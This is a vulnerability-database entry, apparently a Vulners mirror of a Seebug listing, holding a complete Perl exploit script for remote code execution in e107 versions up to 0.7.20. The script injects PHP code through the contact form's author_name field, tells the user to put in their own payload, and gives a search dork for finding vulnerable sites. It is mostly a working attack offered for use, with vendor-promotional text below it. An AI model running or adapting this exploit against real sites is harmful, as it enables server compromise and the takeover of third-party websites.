Lucene search
+L

e107 Code Exec

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

e107 Code Exec vulnerability, e107 version <= 0.7.2

Code

                                                # Exploit Title: e107 Code Exec
# Date: 05/22/10
# Author: [email protected]
# Software Link: http://e107.org/edownload.php
# Version: e107 &#60;= 0.7.20
# Tested on: Linux/Windows

#!/usr/bin/perl -w
#################################################
# e107 Code Exec // SploitAuthor: [email protected]
#################################################
# These scrubs still haven&#39;t released an update!
# Here is a little bit of motivation for them to
# patch one of the most popular, and insecure of
# the PHP web apps available today. 
#################################################
# DORK: inurl:e107_plugins
#################################################

use LWP::UserAgent;

my $path = $ARGV[0] or die(&#34;Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n&#34;);
my $load = &#39;passthru(chr(105).chr(100))&#39;; # Simple &#39;id&#39; command. Put ur PHP payload here! :)

# Remove comment for proxy support
my $proxy = &#39;http://127.0.0.1:8118/&#39;;
$ENV{http_proxy} = $proxy ? $proxy: 0;

$ua = new LWP::UserAgent;
$ua-&#62;agent(&#34;Mozilla/5.0&#34;);

if ( $proxy )
{
	print &#34;[*] Using proxy $proxy \n&#34;;
	$ua-&#62;env_proxy(&#39;1&#39;);
}

my $req = new HTTP::Request POST =&#62; $path;
   $req-&#62;content_type(&#39;application/x-www-form-urlencoded&#39;);
   $req-&#62;content(&#34;send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D&#34;);

my $res = $ua-&#62;request($req); 
my $data = $res-&#62;as_string;

if ( $data =~ /&#60;td class=[&#34;&#39;]main_section[&#39;&#34;]&#62;(.*)/ ) 
{
	$data = $1;
	print &#34;$data\n&#34;;
}
else
{
	print &#34;$data\n&#34;;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation